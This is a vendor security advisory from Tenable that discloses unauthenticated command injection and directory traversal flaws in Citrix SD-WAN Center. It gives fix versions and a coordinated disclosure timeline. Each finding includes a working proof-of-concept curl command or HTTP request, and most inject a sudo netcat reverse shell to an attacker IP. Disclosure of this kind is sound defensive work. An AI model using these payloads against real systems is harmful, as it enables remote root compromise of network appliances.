Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Citrix SD-WAN Center Multiple Vulnerabilities

Critical

Synopsis

Multiple vulnerabilities were discovered in Citrix SD-WAN Center. Note: Since the 'www-data' user has been given 'sudo' privileges, all of the vulnerabilities can be exploited to gain root access.

CVE-2019-12985: /Collector/diagnostics/ping Unauthenticated Command Injection

The "ping" action in DiagnosticsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the ping function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ipAddress', 'pingCount', or 'packetSize'.

Proof of Concept
ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60' https://$target/Collector/diagnostics/ping

CVE-2019-12986: /Collector/diagnostics/trace_route Unauthenticated Command Injection

The "trace_route" action in DiagnosticsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the trace_route function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ipAddress'.

Proof of Concept
ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure -d 'ipAddress=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60' https://$target/Collector/diagnostics/trace_route

CVE-2019-12987: /Collector/storagemgmt/apply Unauthenticated Command Injection

The "apply" action in StorageMgmtController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the callStoragePerl function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying an array value with crafted values for 'action', 'host', 'path', or 'type'.

Proof of Concept
ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure 'https://'$target'/Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60sudo+/bin/nc+-nv+'$ncip'+'$ncport'+-e+/bin/bash%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype'

CVE-2019-12988: /Collector/nms/addModifyZTDProxy Unauthenticated Command Injection

The "addModifyZTDProxy" action in NmsController is susceptible to command injection by a remote, unauthenticated attacker. Specifically, the addModifyZTDProxy function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for 'ztd_password'.

Proof of Concept
ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure 'https://'$target'/Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(sudo$IFS/bin/nc$IFS-nv$IFS$(/bin/echo$IFS-e$IFS\x3'$ncip')$IFS$(/bin/echo$IFS-e$IFS\x3'$ncport')$IFS-e$IFS/bin/bash)'

CVE-2019-12990: /Collector/appliancesettings/applianceSettingsFileTransfer Unauthenticated Directory Traversal File Write

The "applianceSettingsFileTransfer" action in ApplianceSettingsController is susceptible to directory traversal by a remote, unauthenticated attacker. Specifically, the applianceSettingsFileTransfer function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted values for 'filename', 'filedata', and 'workspace_id'. This vulnerability can be exploited to write files to locations writable by the 'www-data' user. Furthermore, an attacker could write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.

Proof of Concept
ncip=192.168.1.191
ncport=4444
target=192.168.1.198

curl --insecure -d 'filename=../../../../../../home/talariuser/www/app/webroot/files/shell.php&filedata=' https://$target/Collector/appliancesettings/applianceSettingsFileTransfer
curl --insecure https://$target/talari/app/files/shell.php

CVE-2019-12992: /Users/create Authenticated Command Injection

The "create" action in UsersController is susceptible to command injection by a remote, authenticated attacker. Specifically, the create function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by supplying a crafted value for 'level'. Note: when $level is compared to an integer value (using ==), it is converted to 0 (int). This is why validation passes. Type checking would help here (===).

Proof of Concept
POST /Users/create HTTP/1.1
Host: 192.168.1.198
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.198/Users?rdx=true
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 149
Connection: close
Cookie: urlhashcomponent=; VWCSession=15jjk7584jmn9v5na2q6gspnc3

username=scooby&level=`sudo+touch+/var/tmp/vuln_6`&password=password&confirm_password=password&secAuth=false&csrf_token=9b97e4423f0f0bdf18e089b2de3c8e78
root@SD-WANCenter:/opt/citrix/licensing/LS# ls -l /var/tmp
total 0
-rw-r--r-- 1 ctxlsuser lmadmin 0 Apr 12 01:32 lockCITRIX
-rw-r--r-- 1 root      root    0 Apr 12 02:49 vuln_6

Solution

Upgrade to 10.0.8 or 10.2.3 for security update.

Disclosure Timeline

04/17/2019 - Disclosure sent to [email protected]. 90 day date is July 17, 2019.
04/17/2019 - Citrix acknowledges receipt of the report and assigns an identifier of CASE-7736.
05/01/2019 - Tenable asks for update.
05/01/2019 - Citrix is unable to reproduce the bugs without authentication. Asks for clarification.
05/02/2019 - Tenable sends new PoC's in the form of curl commands to hopefully clarify the vulnerabilities.
05/03/2019 - Citrix thanks Tenable for the additional details. They will be in touch as soon as they have any new information.
05/10/2019 - Tenable follows up to see if the new PoC's aided with the reproduction.
05/10/2019 - Citrix is able to reproduce the bugs without authentication. Thanks Tenable for the additional info. They do not have a schedule for the release but will keep us informed.
05/10/2019 - Tenable thanks Citrix for the update. Reminds Citrix of 90-day policy. Also we ask if they will make the 90-day date.
05/10/2019 - Tenable asks if we need to assign the CVEs and if Citrix will be releasing a bulletin.
05/13/2019 - Citrix will handle CVE assignment. They will also ensure all fixes and a security bulletin will be available before July 17th, 2019.
05/13/2019 - Tenable thanks Citrix for the update.
06/11/2019 - Tenable notices 10.2.3 was just released. Asks Citrix if these bugs were fixed because we can't download the new version successfully.
06/12/2019 - Response from Citrix: "Citrix will publish which versions have relevant fixes when we publish our Security Bulletin with respect to your findings and these issues." Citrix also reconfirms disclosure date.
06/12/2019 - Tenable informs Citrix that we will be moving the disclosure date to Aug 21 in order to disclose more SD-WAN vulnerabilities in bulk.
06/12/2019 - Citrix acknowledges the new disclosure date. Citrix will reach out closer to the disclosure date to coordinate how to credit Tenable in the security bulletin.
06/13/2019 - Tenable acknowledges.
06/26/2019 - Citrix advises that they are planning to release a public bulletin within the next two weeks. They hope to have a more specific date in the next few days. Asks Tenable how to give credit.
06/27/2019 - Tenable acknowledges. Asks to be updated when a more specific date is decided on. Credit looks good. Asks about CVE identifiers and the patched version number.
07/02/2019 - Tenable asks for an update.
07/02/2019 - Tenable notices that version 10.2.3 patches all issues. Advisory released.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2019-31
Credit:
Chris Lyne
CVSSv2 Base / Temporal Score:
10.0 / 8.3
CVSSv2 Vector:
(AV:N/AC:L/Au:N/C:C/I:C/A:C)
Affected Products:
NetScaler SD-WAN 9.x
NetScaler SD-WAN 10.0.x before 10.0.8
Citrix SD-WAN 10.1.x
Citrix SD-WAN 10.2.x before 10.2.3
Risk Factor:
Critical

Advisory Timeline

07/02/2019 - Advisory released.
07/10/2019 - Added bulletin link and CVEs. Updated affected versions and solution.